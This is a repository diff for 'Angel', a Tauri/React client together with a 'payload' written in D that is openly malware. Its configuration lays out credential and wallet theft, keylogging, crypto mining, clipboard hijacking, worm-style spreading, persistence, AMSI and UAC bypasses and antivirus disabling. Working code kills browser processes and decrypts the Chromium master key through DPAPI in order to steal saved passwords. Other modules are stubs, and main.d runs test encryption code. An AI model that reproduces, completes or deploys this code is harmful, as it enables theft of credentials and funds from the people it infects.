||||
</button>
|
||||
</DialogTrigger>
|
||||
<DialogOverlay className="dialog-overlay" />
|
||||
<PrivacyPolicy />
|
||||
</Dialog>
|
||||
.
|
||||
</label>
|
||||
<FormMessage />
|
||||
</div>
|
||||
)}
|
||||
/>
|
||||
<Button type="submit" className="w-full">
|
||||
Continue
|
||||
</Button>
|
||||
</form>
|
||||
</Form>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default Sign_up;
|
||||
13
full/Angel-client/src/splashscreen.tsx
Normal file
@@ -0,0 +1,13 @@
|
||||
const SplashScreen = () => {
|
||||
return (
|
||||
<div className="splash-screen">
|
||||
<div className="fade-in">
|
||||
<img src="/angel.png" alt="Splash Image" className="splash-image" />
|
||||
</div>
|
||||
|
||||
<div className="loader"></div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default SplashScreen;
|
||||
27
full/Angel-client/src/terms.tsx
Normal file
@@ -0,0 +1,27 @@
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
DialogClose,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
} from "@/components/ui/dialog";
|
||||
|
||||
export function TermsConditions() {
|
||||
return (
|
||||
<DialogContent className="sm:max-w-md">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Terms & Conditions</DialogTitle>
|
||||
<DialogDescription>bla bla bla terms</DialogDescription>
|
||||
</DialogHeader>
|
||||
<DialogFooter className="sm:justify-start">
|
||||
<DialogClose asChild>
|
||||
<Button type="button" variant="outline">
|
||||
Close
|
||||
</Button>
|
||||
</DialogClose>
|
||||
</DialogFooter>
|
||||
</DialogContent>
|
||||
);
|
||||
}
|
||||
1
full/Angel-client/src/vite-env.d.ts
vendored
Normal file
@@ -0,0 +1 @@
|
||||
/// <reference types="vite/client" />
|
||||
75
full/Angel-client/tailwind.config.ts
Normal file
@@ -0,0 +1,75 @@
|
||||
/** @type {import('tailwindcss').Config} */
|
||||
export default {
|
||||
darkMode: ["class"],
|
||||
content: [
|
||||
"./src/**/*.{js,ts,jsx,tsx}",
|
||||
"./components/**/*.{js,ts,jsx,tsx}",
|
||||
"./app/**/*.{js,ts,jsx,tsx}",
|
||||
"./node_modules/@shadcn/ui/**/*.{js,ts,jsx,tsx}",
|
||||
],
|
||||
theme: {
|
||||
extend: {
|
||||
borderRadius: {
|
||||
lg: 'var(--radius)',
|
||||
md: 'calc(var(--radius) - 2px)',
|
||||
sm: 'calc(var(--radius) - 4px)'
|
||||
},
|
||||
colors: {
|
||||
background: 'hsl(var(--background))',
|
||||
foreground: 'hsl(var(--foreground))',
|
||||
card: {
|
||||
DEFAULT: 'hsl(var(--card))',
|
||||
foreground: 'hsl(var(--card-foreground))'
|
||||
},
|
||||
popover: {
|
||||
DEFAULT: 'hsl(var(--popover))',
|
||||
foreground: 'hsl(var(--popover-foreground))'
|
||||
},
|
||||
primary: {
|
||||
DEFAULT: 'hsl(var(--primary))',
|
||||
foreground: 'hsl(var(--primary-foreground))'
|
||||
},
|
||||
secondary: {
|
||||
DEFAULT: 'hsl(var(--secondary))',
|
||||
foreground: 'hsl(var(--secondary-foreground))'
|
||||
},
|
||||
muted: {
|
||||
DEFAULT: 'hsl(var(--muted))',
|
||||
foreground: 'hsl(var(--muted-foreground))'
|
||||
},
|
||||
accent: {
|
||||
DEFAULT: 'hsl(var(--accent))',
|
||||
foreground: 'hsl(var(--accent-foreground))'
|
||||
},
|
||||
destructive: {
|
||||
DEFAULT: 'hsl(var(--destructive))',
|
||||
foreground: 'hsl(var(--destructive-foreground))'
|
||||
},
|
||||
border: 'hsl(var(--border))',
|
||||
input: 'hsl(var(--input))',
|
||||
ring: 'hsl(var(--ring))',
|
||||
chart: {
|
||||
'1': 'hsl(var(--chart-1))',
|
||||
'2': 'hsl(var(--chart-2))',
|
||||
'3': 'hsl(var(--chart-3))',
|
||||
'4': 'hsl(var(--chart-4))',
|
||||
'5': 'hsl(var(--chart-5))'
|
||||
},
|
||||
sidebar: {
|
||||
DEFAULT: 'hsl(var(--sidebar-background))',
|
||||
foreground: 'hsl(var(--sidebar-foreground))',
|
||||
primary: 'hsl(var(--sidebar-primary))',
|
||||
'primary-foreground': 'hsl(var(--sidebar-primary-foreground))',
|
||||
accent: 'hsl(var(--sidebar-accent))',
|
||||
'accent-foreground': 'hsl(var(--sidebar-accent-foreground))',
|
||||
border: 'hsl(var(--sidebar-border))',
|
||||
ring: 'hsl(var(--sidebar-ring))'
|
||||
}
|
||||
}
|
||||
},
|
||||
fontFamily: {
|
||||
'fira-code': ["Fira Code", "monospace"]
|
||||
}
|
||||
},
|
||||
plugins: [require("tailwindcss-animate")],
|
||||
};
|
||||
29
full/Angel-client/tsconfig.json
Normal file
@@ -0,0 +1,29 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"target": "ES2020",
|
||||
"useDefineForClassFields": true,
|
||||
"lib": ["ES2020", "DOM", "DOM.Iterable"],
|
||||
"module": "ESNext",
|
||||
"skipLibCheck": true,
|
||||
|
||||
/* Bundler mode */
|
||||
"moduleResolution": "bundler",
|
||||
"allowImportingTsExtensions": true,
|
||||
"resolveJsonModule": true,
|
||||
"isolatedModules": true,
|
||||
"noEmit": true,
|
||||
"jsx": "react-jsx",
|
||||
|
||||
/* Linting */
|
||||
"strict": true,
|
||||
"noUnusedLocals": true,
|
||||
"noUnusedParameters": true,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"@/*": ["./src/*"]
|
||||
}
|
||||
},
|
||||
"include": ["src"],
|
||||
"references": [{ "path": "./tsconfig.node.json" }]
|
||||
}
|
||||
16
full/Angel-client/tsconfig.node.json
Normal file
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"composite": true,
|
||||
"skipLibCheck": true,
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "bundler",
|
||||
"allowSyntheticDefaultImports": true,
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"@/*": [
|
||||
"./src/*"
|
||||
]
|
||||
}
|
||||
},
|
||||
"include": ["vite.config.ts"]
|
||||
}
|
||||
36
full/Angel-client/vite.config.ts
Normal file
@@ -0,0 +1,36 @@
|
||||
import { defineConfig } from "vite";
|
||||
import react from "@vitejs/plugin-react";
|
||||
import path from "path";
|
||||
|
||||
const host = process.env.TAURI_DEV_HOST;
|
||||
|
||||
export default defineConfig(async () => ({
|
||||
plugins: [react()],
|
||||
resolve: {
|
||||
alias: {
|
||||
"@": path.resolve(__dirname, "./src"),
|
||||
},
|
||||
},
|
||||
|
||||
// Vite options tailored for Tauri development and only applied in `tauri dev` or `tauri build`
|
||||
//
|
||||
// 1. prevent vite from obscuring rust errors
|
||||
clearScreen: false,
|
||||
// 2. tauri expects a fixed port, fail if that port is not available
|
||||
server: {
|
||||
port: 1420,
|
||||
strictPort: true,
|
||||
host: host || false,
|
||||
hmr: host
|
||||
? {
|
||||
protocol: "ws",
|
||||
host,
|
||||
port: 1421,
|
||||
}
|
||||
: undefined,
|
||||
watch: {
|
||||
// 3. tell vite to ignore watching `src-tauri`
|
||||
ignored: ["**/src-tauri/**"],
|
||||
},
|
||||
},
|
||||
}));
|
||||
16
full/Angel-payload/.gitignore
vendored
Normal file
@@ -0,0 +1,16 @@
|
||||
.dub
|
||||
docs.json
|
||||
__dummy.html
|
||||
docs/
|
||||
/angel
|
||||
angel.so
|
||||
angel.dylib
|
||||
angel.dll
|
||||
angel.a
|
||||
angel.lib
|
||||
angel-test-*
|
||||
*.exe
|
||||
*.pdb
|
||||
*.o
|
||||
*.obj
|
||||
*.lst
|
||||
0
full/Angel-payload/LICENSE
Normal file
3
full/Angel-payload/README.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
dub build --arch=x86 --compiler=dmd --vverbose --deep --build=release --force
|
||||
|
||||
dub json libs: gdi32, user32
|
||||
188
full/Angel-payload/angel/config.d
Normal file
@@ -0,0 +1,188 @@
|
||||
module angel.config;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.constants;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
|
||||
// bool -> possible values: 'true' or 'false'
|
||||
// string -> possible values: character slice (use "" to define a slice)
|
||||
// array - [] -> possible values: multiple character slices seperated by commas (inside)
|
||||
struct Config {
|
||||
struct Server {
|
||||
string host = "127.0.0.1"; // server ip
|
||||
int port = 8000; // server opened port (UFW)
|
||||
string seclevel = "crystals-kyber"; // encryption/verification/signing to use, choose from: 'ecc, crystals-kyber, rsa'
|
||||
}
|
||||
|
||||
bool debug_mode = true;
|
||||
ubyte[] server_pk = [0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83, 0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06, 0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51]; // server public ECC-curve25519 key
|
||||
|
||||
struct Antidbg {
|
||||
bool analysis = true;
|
||||
bool dbg = true;
|
||||
bool kill = false;
|
||||
bool vm = false;
|
||||
}
|
||||
|
||||
bool fakeErr = false;
|
||||
// remove Constants.Errmsg("[]") to use std err msg
|
||||
Constants.Errmsg errmsg = Constants.Errmsg("custom err msg");
|
||||
|
||||
struct Exclude {
|
||||
string[] country = ["de", "us", "ru"]; // country to exclude from stealing
|
||||
string[] path = ["", ""]; // path to exclude from antivirus
|
||||
string[] network = [""]; // disables access to specific network/web addresses
|
||||
}
|
||||
|
||||
struct Spread {
|
||||
bool local_network = true;
|
||||
bool messenger = true;
|
||||
bool mail = false;
|
||||
}
|
||||
|
||||
struct Infect {
|
||||
bool iso = true;
|
||||
bool usb = true;
|
||||
bool systemfil = true;
|
||||
}
|
||||
|
||||
struct Miner { // choose from: 'gpu/cpu'
|
||||
Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address)
|
||||
Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823")
|
||||
Constants.Coin ltc = Constants.Coin(1, "", "");
|
||||
Constants.Coin sol = Constants.Coin(1, "", "");
|
||||
Constants.Coin eth = Constants.Coin(1, "", "");
|
||||
}
|
||||
|
||||
struct Exfil {
|
||||
bool applications = true;
|
||||
|
||||
struct Browser {
|
||||
bool gecko = false;
|
||||
bool chromium = true;
|
||||
bool inject = false;
|
||||
}
|
||||
|
||||
Browser browser;
|
||||
|
||||
struct Network {
|
||||
bool ftp = false;
|
||||
bool ssh = false;
|
||||
bool vpn = false;
|
||||
bool proxy = false;
|
||||
bool hook = false;
|
||||
}
|
||||
|
||||
Network network;
|
||||
|
||||
struct Files {
|
||||
bool common = true;
|
||||
bool important = true;
|
||||
string[] commonFiles = [""];
|
||||
string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc.
|
||||
}
|
||||
|
||||
Files files;
|
||||
|
||||
struct Games {
|
||||
bool accounts = true;
|
||||
bool saves = false;
|
||||
bool inject = true;
|
||||
string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M
|
||||
}
|
||||
|
||||
Games games;
|
||||
|
||||
struct Mail {
|
||||
bool client = true;
|
||||
bool web = false;
|
||||
bool inject = false;
|
||||
}
|
||||
|
||||
Mail mail;
|
||||
|
||||
bool filterAccounts = false;
|
||||
bool systemInformation = false;
|
||||
bool porndetect = false;
|
||||
|
||||
struct Wallet {
|
||||
bool seed = true;
|
||||
|
||||
Constants.Address xmrDrainer = Constants.Address("");
|
||||
Constants.Address btcDrainer = Constants.Address("");
|
||||
Constants.Address ltcDrainer = Constants.Address("");
|
||||
Constants.Address solDrainer = Constants.Address("");
|
||||
Constants.Address ethDrainer = Constants.Address("");
|
||||
|
||||
Constants.Address xmrClipper = Constants.Address("");
|
||||
Constants.Address btcClipper = Constants.Address("");
|
||||
Constants.Address ltcClipper = Constants.Address("");
|
||||
Constants.Address ethClipper = Constants.Address("");
|
||||
Constants.Address solClipper = Constants.Address("");
|
||||
|
||||
bool inject = false;
|
||||
}
|
||||
|
||||
Wallet wallet;
|
||||
|
||||
struct Messenger {
|
||||
bool messages = false;
|
||||
bool login = true;
|
||||
bool inject = false;
|
||||
}
|
||||
|
||||
Messenger messenger;
|
||||
|
||||
bool snapshot = false;
|
||||
bool screenshot = true;
|
||||
}
|
||||
|
||||
struct Conn {
|
||||
bool keylogger = true;
|
||||
bool micrecord = false;
|
||||
bool vidrecord = false;
|
||||
string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h
|
||||
}
|
||||
|
||||
struct Persistence {
|
||||
string mode = ""; // bootkit, ring0 kernel mode, registry, startup files, app startup
|
||||
// choose from: 'boot, kernel, reg, file, app'
|
||||
}
|
||||
|
||||
struct Privesc {
|
||||
bool fixExclusion = true;
|
||||
bool disReagentC = true;
|
||||
bool disEtw = true;
|
||||
bool amsiBypass = true;
|
||||
bool uacBypass = true;
|
||||
bool destroyDef = false;
|
||||
bool disableAv = false;
|
||||
}
|
||||
|
||||
struct Dropper {
|
||||
bool memLoad = true; // load into memory/run module
|
||||
bool startup = false; // will use the same method as persistence
|
||||
bool update = false; // scrape again every time from URL
|
||||
string url = ""; // URL to scrape file from
|
||||
}
|
||||
|
||||
struct Dnsmanip {
|
||||
bool exclude = true; // excludes files from exclude struct to deny web access
|
||||
}
|
||||
|
||||
Server server;
|
||||
Antidbg antidbg;
|
||||
Exclude exclude;
|
||||
Spread spread;
|
||||
Infect infect;
|
||||
Miner miner;
|
||||
Exfil exfil;
|
||||
Conn conn;
|
||||
Persistence persistence;
|
||||
Privesc privesc;
|
||||
Dropper dropper;
|
||||
Dnsmanip dnsmanip;
|
||||
}
|
||||
|
||||
Config config;
|
||||
64
full/Angel-payload/angel/exfil/browser/browser.d
Normal file
@@ -0,0 +1,64 @@
|
||||
module angel.exfil.browser.browser;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
import angel.utils.utils;
|
||||
import angel.config : config;
|
||||
import angel.utils.constants;
|
||||
import angel.exfil.browser.inject;
|
||||
import angel.exfil.browser.chromium.chromium;
|
||||
import angel.exfil.browser.gecko.gecko;
|
||||
// External imports
|
||||
import std.path;
|
||||
import std.stdio;
|
||||
import std.file;
|
||||
import core.thread.osthread;
|
||||
|
||||
// TODO fix process killing
|
||||
// BUG doesn't equally loop through set of procs, just operates on last one
|
||||
|
||||
class Browser {
|
||||
this() {
|
||||
Logger.log(LogLevel.Event, "Initializing browser...");
|
||||
|
||||
string[] procs = ["firefox.exe", "chrome.exe", "msedge.exe"];
|
||||
|
||||
if (!config.debug_mode) {
|
||||
Utils.killproc(procs);
|
||||
}
|
||||
|
||||
string browser_path = buildPath(Constants.workdir, "Browser");
|
||||
|
||||
if (!exists(browser_path)) {
|
||||
mkdir(browser_path);
|
||||
}
|
||||
|
||||
Logger.log(LogLevel.Event, "Initialized browser.");
|
||||
}
|
||||
|
||||
public void run() {
|
||||
Thread[] threads;
|
||||
|
||||
if (config.exfil.browser.gecko) {
|
||||
auto t = new Thread(() => new Gecko().entry());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread gecko...");
|
||||
t.start();
|
||||
}
|
||||
else if (config.exfil.browser.chromium) {
|
||||
auto t = new Thread(() => new Chromium().entry());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread chromium...");
|
||||
t.start();
|
||||
} else if (config.exfil.browser.inject) {
|
||||
auto t = new Thread(() => new Inject().inject());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread browser inject...");
|
||||
t.start();
|
||||
}
|
||||
|
||||
foreach (t; threads) {
|
||||
joinLowLevelThread(t.id);
|
||||
}
|
||||
}
|
||||
}
|
||||
77
full/Angel-payload/angel/exfil/browser/chromium/chromium.d
Normal file
@@ -0,0 +1,77 @@
|
||||
module angel.exfil.browser.chromium.chromium;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.constants;
|
||||
import angel.utils.logging;
|
||||
import angel.exfil.browser.chromium.dpapi;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.string;
|
||||
import std.file;
|
||||
import std.base64;
|
||||
import std.Path;
|
||||
import std.format;
|
||||
import std.json;
|
||||
|
||||
class Chromium {
|
||||
private {
|
||||
string localst;
|
||||
string[] profs = ["Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"];
|
||||
string[] paths = ["Microsoft\\Edge", "Thorium", "Google\\Chrome"];
|
||||
}
|
||||
|
||||
public void entry() {
|
||||
Logger.log(LogLevel.Debug, "Entered chromium");
|
||||
|
||||
foreach (path; paths) {
|
||||
string pat = buildPath(Constants.local_appdata, path, "User Data");
|
||||
|
||||
if (exists(pat)) {
|
||||
Logger.log(LogLevel.Debug, format("Browser dir %s exists", pat));
|
||||
|
||||
this.localst = buildPath(pat, "Local State");
|
||||
|
||||
if (exists(localst)) {
|
||||
Logger.log(LogLevel.Debug, format("Local State file %s exists for browser %s", localst, pat));
|
||||
|
||||
ubyte[] master_key = this.mkey();
|
||||
|
||||
if (master_key is null || master_key.length == 0) {
|
||||
Logger.log(
|
||||
LogLevel.Debug,
|
||||
"Master key contains 0 bytes, possible uncaught/unknown error. Skipping..."
|
||||
);
|
||||
Logger.log(LogLevel.Debug, format("%s", master_key));
|
||||
return;
|
||||
} else {
|
||||
Logger.log(LogLevel.Debug, format("Decrypted master key: %s", master_key));
|
||||
}
|
||||
|
||||
foreach(prof; profs) {
|
||||
string profpat = buildPath(pat, prof);
|
||||
|
||||
if (exists(profpat)) {
|
||||
Logger.log(LogLevel.Debug, format("Profile %s exists for browser %s", prof, pat));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private ubyte[] mkey() {
|
||||
string bjson = readText(this.localst);
|
||||
|
||||
JSONValue json = parseJSON(bjson);
|
||||
|
||||
string encoded = json["os_crypt"]["encrypted_key"].str;
|
||||
|
||||
ubyte[] bdecoded = Base64.decode(encoded.strip());
|
||||
|
||||
ubyte[] bkey_crypt = bdecoded[5 .. $];
|
||||
|
||||
ubyte[] dat = dpapi(bkey_crypt);
|
||||
|
||||
return dat;
|
||||
}
|
||||
}
|
||||
46
full/Angel-payload/angel/exfil/browser/chromium/dpapi.d
Normal file
@@ -0,0 +1,46 @@
|
||||
module angel.exfil.browser.chromium.dpapi;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
// External imports
|
||||
import core.sys.windows.windows;
|
||||
import core.stdc.stdlib;
|
||||
import std.string;
|
||||
|
||||
extern(Windows)
|
||||
{
|
||||
BOOL CryptUnprotectData(
|
||||
const(DATA_BLOB)* pDataIn,
|
||||
LPCWSTR* ppszDataDescr,
|
||||
const(DATA_BLOB)* pOptionalEntropy,
|
||||
void* pvReserved,
|
||||
void* pPromptStruct,
|
||||
uint dwFlags,
|
||||
DATA_BLOB* pDataOut
|
||||
);
|
||||
}
|
||||
|
||||
extern(Windows)
|
||||
struct DATA_BLOB
|
||||
{
|
||||
uint cbData;
|
||||
ubyte* pbData;
|
||||
}
|
||||
|
||||
ubyte[] dpapi(ubyte[] key_crypt) {
|
||||
DATA_BLOB inBlob;
|
||||
DATA_BLOB outBlob;
|
||||
|
||||
inBlob.pbData = key_crypt.ptr;
|
||||
inBlob.cbData = cast(uint) key_crypt.length;
|
||||
|
||||
if (CryptUnprotectData(&inBlob, null, null, null, null, 0, &outBlob)) {
|
||||
ubyte[] decrypted = cast(ubyte[])(outBlob.pbData[0 .. outBlob.cbData]).idup;
|
||||
|
||||
free(outBlob.pbData);
|
||||
|
||||
return decrypted;
|
||||
} else {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
2
full/Angel-payload/angel/exfil/browser/chromium/inject.d
Normal file
@@ -0,0 +1,2 @@
|
||||
module angel.exfil.browser.chromium.inject;
|
||||
|
||||
20
full/Angel-payload/angel/exfil/browser/gecko/gecko.d
Normal file
@@ -0,0 +1,20 @@
|
||||
module angel.exfil.browser.gecko.gecko;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
|
||||
class Gecko {
|
||||
this() {
|
||||
|
||||
}
|
||||
|
||||
private {
|
||||
|
||||
}
|
||||
|
||||
public void entry() {
|
||||
Logger.log(LogLevel.Debug, "Entered gecko");
|
||||
}
|
||||
}
|
||||
2
full/Angel-payload/angel/exfil/browser/gecko/inject.d
Normal file
@@ -0,0 +1,2 @@
|
||||
module angel.exfil.browser.gecko.injection;
|
||||
|
||||
15
full/Angel-payload/angel/exfil/browser/inject.d
Normal file
@@ -0,0 +1,15 @@
|
||||
module angel.exfil.browser.inject;
|
||||
|
||||
class Inject {
|
||||
this() {
|
||||
|
||||
}
|
||||
|
||||
private {
|
||||
|
||||
}
|
||||
|
||||
void inject() {
|
||||
|
||||
}
|
||||
}
|
||||
158
full/Angel-payload/angel/main.d
Normal file
@@ -0,0 +1,158 @@
|
||||
module angel.main;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
import angel.utils.constants;
|
||||
import angel.utils.clean;
|
||||
import angel.exfil.browser.browser;
|
||||
import angel.utils.init;
|
||||
//import angel.utils.cryptography.threefish;
|
||||
//import angel.utils.cryptography.aes;
|
||||
import angel.utils.cryptography.serpent;
|
||||
import angel.utils.cryptography.cryptography;
|
||||
import angel.utils.cryptography.gcm.gcm;
|
||||
import angel.utils.cryptography.aes;
|
||||
import angel.utils.cryptography.threefish;
|
||||
import angel.config : config;
|
||||
//import angel.conn.vnc.vnc;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.conv : to;
|
||||
import core.thread.osthread;
|
||||
import std.format;
|
||||
|
||||
// TODO optimize imports (only neccessary)
|
||||
// TODO mutex check + execution timer
|
||||
// TODO anti dbg
|
||||
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
|
||||
// TODO veh/vectored syscalls in suspended thread
|
||||
|
||||
alias ConstructorDelegate = void function();
|
||||
|
||||
int main() {
|
||||
init();
|
||||
|
||||
Logger.log(LogLevel.Event, "Initialized.");
|
||||
|
||||
// can place args inside of browser init and define in this
|
||||
ConstructorDelegate[] constructors = [
|
||||
() => new Browser().run,
|
||||
];
|
||||
|
||||
Thread[] threads;
|
||||
|
||||
foreach (co; constructors) {
|
||||
auto t = new Thread(() => co());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread...");
|
||||
t.start();
|
||||
continue;
|
||||
}
|
||||
|
||||
foreach (t; threads) {
|
||||
joinLowLevelThread(t.id);
|
||||
}
|
||||
|
||||
clean();
|
||||
|
||||
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk); // shared secret, encrypt master key (threefish512) with it
|
||||
|
||||
// TODO generate threefish512 key
|
||||
// TODO serpent-256 encrypt the threefish key with shared secret
|
||||
// TODO add pkcs5/7 padding for serpent, also port C implementation of galois 256bit to Dlang
|
||||
|
||||
// BUG fix padder, fills in the missing bytes of last encrypted/decrypted chunk with random placeholder chars
|
||||
// BUG add correct template/tests aes, aead, galois -> follow struct evenly (same implementation)
|
||||
// TODO might port some shitty C aes256 galois implementation
|
||||
|
||||
Serpent serp;
|
||||
|
||||
auto key = cast(ubyte[])keypair.sharedSecret.dup;
|
||||
|
||||
serp.start(key);
|
||||
|
||||
ubyte[] input = cast(ubyte[])"Hello, World! meow meow meow LOLOLOL hi!!!!!".dup;
|
||||
ubyte padding = cast(ubyte)(16 - (input.length % 16));
|
||||
ubyte[] output = new ubyte[input.length + padding];
|
||||
serp.encrypt(input, output);
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Serpent Encrypted data: %s", output));
|
||||
|
||||
ubyte[] decrypted = new ubyte[output.length];
|
||||
|
||||
serp.decrypt(output, decrypted);
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Serpent Decrypted data: %s", decrypted));
|
||||
|
||||
serp.reset();
|
||||
|
||||
|
||||
|
||||
|
||||
ubyte[32] key2;
|
||||
ubyte[12] iv;
|
||||
|
||||
key2[] = cast(ubyte[])"12345678901234567890123456789012";
|
||||
iv[] = cast(ubyte[])"123456789012";
|
||||
|
||||
AES aes = AES(key2);
|
||||
|
||||
GCM!AES gcm = GCM!AES(aes);
|
||||
|
||||
gcm.start(key2, iv);
|
||||
ubyte[] encryptedData = new ubyte[input.length];
|
||||
gcm.encrypt(input, encryptedData);
|
||||
ubyte[16] tag;
|
||||
gcm.finish(tag, encryptedData);
|
||||
|
||||
Logger.log(LogLevel.Debug, format("AES Encrypted data: %s", encryptedData));
|
||||
|
||||
GCM!AES gcmDecrypt = GCM!AES(aes);
|
||||
gcmDecrypt.start(key2, iv);
|
||||
ubyte[] decryptedData = new ubyte[encryptedData.length];
|
||||
gcmDecrypt.decrypt(encryptedData, decryptedData);
|
||||
ubyte[16] tagVerify;
|
||||
gcmDecrypt.finish(tagVerify, decryptedData);
|
||||
|
||||
Logger.log(LogLevel.Debug, format("AES Decrypted data: %s", decryptedData));
|
||||
|
||||
|
||||
|
||||
auto kiii = Threefish512.generateKey();
|
||||
auto tweaki = Threefish512.generateTweak();
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
|
||||
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
|
||||
|
||||
Threefish512 cipher = new Threefish512();
|
||||
cipher.setup(kiii, tweaki);
|
||||
string text = "meow!";
|
||||
ulong[8] plain;
|
||||
plain[] = 0;
|
||||
|
||||
foreach (i, c; text)
|
||||
{
|
||||
plain[i / 8] |= cast(ulong)c << ((i % 8) * 8);
|
||||
}
|
||||
|
||||
auto encrypted_three = cipher.crypt(plain);
|
||||
Logger.log(LogLevel.Debug, format("Threefish Encrypted: %s", encrypted_three));
|
||||
|
||||
auto decrypted_three = cipher.decrypt(encrypted_three);
|
||||
Logger.log(LogLevel.Debug, format("Threefish Decrypted ulong array: %s", decrypted_three));
|
||||
|
||||
char[] decrypted_text;
|
||||
foreach (ulong val; decrypted_three) {
|
||||
for (int i = 0; i < 8; i++) {
|
||||
char c = cast(char)((val >> (i * 8)) & 0xFF);
|
||||
if (c != '\0') {
|
||||
decrypted_text ~= c;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Threefish Decrypted Text: %s", decrypted_text));
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
9
full/Angel-payload/angel/utils/clean.d
Normal file
@@ -0,0 +1,9 @@
|
||||
module angel.utils.clean;
|
||||
|
||||
// Internal imports
|
||||
// External imports
|
||||
import std.stdio;
|
||||
|
||||
void clean() {
|
||||
|
||||
}
|
||||
36
full/Angel-payload/angel/utils/constants.d
Normal file
@@ -0,0 +1,36 @@
|
||||
module angel.utils.constants;
|
||||
|
||||
// Internal imports
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.process;
|
||||
import std.Path;
|
||||
|
||||
class Constants {
|
||||
public static string appdata;
|
||||
public static string local_appdata;
|
||||
public static string workdir;
|
||||
public static string logFilePath;
|
||||
|
||||
static this() {
|
||||
appdata = environment.get("APPDATA");
|
||||
local_appdata = environment.get("LOCALAPPDATA");
|
||||
|
||||
workdir = buildPath(appdata, "Angel");
|
||||
logFilePath = buildPath(workdir, "angel.log");
|
||||
}
|
||||
|
||||
struct Address {
|
||||
string addr;
|
||||
}
|
||||
|
||||
struct Coin {
|
||||
int percentage = 30;
|
||||
string source = "gpu";
|
||||
string addr;
|
||||
}
|
||||
|
||||
struct Errmsg {
|
||||
string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program";
|
||||
}
|
||||
}
|
||||
198
full/Angel-payload/angel/utils/cryptography/aead.d
Normal file
@@ -0,0 +1,198 @@
|
||||
module angel.utils.cryptography.aead;
|
||||
|
||||
public import angel.utils.cryptography.blockcipher;
|
||||
|
||||
///
|
||||
/// Test if T is a AEAD cipher.
|
||||
///
|
||||
@safe
|
||||
template isAEADCipher(T)
|
||||
{
|
||||
enum bool isAEADCipher =
|
||||
is(T == struct) &&
|
||||
is(typeof(
|
||||
{
|
||||
ubyte[0] block;
|
||||
T bc = void; //Can define
|
||||
|
||||
bc.start(true, block, block); // start with key, iv
|
||||
|
||||
string name = T.name;
|
||||
uint macSize = T.macSize;
|
||||
|
||||
//BlockCipher c = bc.getUnderlyingCipher();
|
||||
bc.processAADBytes(cast (const ubyte[])block);
|
||||
|
||||
ubyte[] slice = bc.processBytes(cast(const ubyte[]) [0], cast(ubyte[]) [0]);
|
||||
//ubyte[] mac = bc.finish(block);
|
||||
|
||||
size_t len = bc.finish(cast(ubyte[]) [0], cast(ubyte[]) [0]);
|
||||
size_t s1 = bc.getUpdateOutputSize(cast(size_t) 0);
|
||||
size_t s2 = bc.getOutputSize(cast(size_t) 0);
|
||||
}));
|
||||
}
|
||||
|
||||
@safe
|
||||
public interface IAEADEngine
|
||||
{
|
||||
|
||||
public {
|
||||
|
||||
/// Initialize the underlying cipher.
|
||||
/// Params:
|
||||
/// forEncryption = true if we are setting up for encryption, false otherwise.
|
||||
/// key = Secret key.
|
||||
/// nonce = Number used only once.
|
||||
void start(in ubyte[] key, in ubyte[] nonce) nothrow @nogc;
|
||||
|
||||
/// Returns: Returns the name of the algorithm.
|
||||
@property
|
||||
string name() pure nothrow;
|
||||
|
||||
|
||||
/// Process additional authenticated data.
|
||||
void processAADBytes(in ubyte[] aad) nothrow;
|
||||
